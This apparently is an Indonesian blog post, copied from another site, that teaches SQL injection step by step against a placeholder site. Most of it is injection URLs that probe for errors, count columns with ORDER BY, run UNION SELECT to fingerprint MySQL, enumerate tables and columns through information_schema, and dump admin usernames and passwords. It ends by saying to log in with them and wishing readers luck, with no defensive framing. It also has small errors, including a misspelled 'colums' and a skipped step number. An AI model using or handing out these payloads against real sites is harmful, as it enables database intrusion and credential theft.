apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N
oke, mari kita simak bersama-sama.
1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah http://www.target.com/berita.php?id=100
2. Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
Contoh :
http://www.target.com/berita.php?id=100'
atau
http://www.target.com/berita.php?id=-100
4. Maka akan muncul pesan error...
"You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '''
at line 1" Dan masih banyak lagi macamnya.
5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya...
Disini kita akan menggunakan perintah order by
Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*
Hohoho...apalagi itu "/*" ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake "--". Terserah aja...
Kalo "+" sebagai penghubung perintah...
6. Nah sampe sini langsung dah nyobain satu2...
http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)
Sampai muncul error...
Misalkan errornya disini...
http://www.target.com/berita.php?id=100+order+by+10/*
Berarti yang kita ambil adalah "9"
http://www.target.com/berita.php?id=100+order+by+9/*
7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION
Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*
Trus perhatikan angka berapa yang keluar (Kayak togel aja... ;p)
8. Misalnya angka hoki yang keluar adalah "3" maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah "version()" atau "@@version"
http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*
Atau
http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*
9. Nah kalo versinya 5 langsung aja pake perintah "information_schema" untuk melihat tabel dan kolom yang ada pada database...
Contoh :
http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya...Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain...ya maklum lah baru belajar...Hehehe...
Misalnya yang lo liat adalah table "admin"
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata "table"-nya...
Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
Misalnya kolom yang keluar adalah "password" dan "username"
Langsung aja kita liat isinya...
Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
dan
http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
Bisa diliat dah username ama passwordnya...Tinggal login...Cari yang asik terus...Terserah Anda...
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.
Download SQL injection step by step.DOC
oke selamat mencoba.
terpenting jangan dilakukan di web teman anda ataupun di website Lokal.
referensi :
. http://jasakom.com
. http://ezine.echo.or.id
. http://cruzenaldo.co.cc
. http://students.ee.itb.ac.id
Tidak ada komentar:
Posting Komentar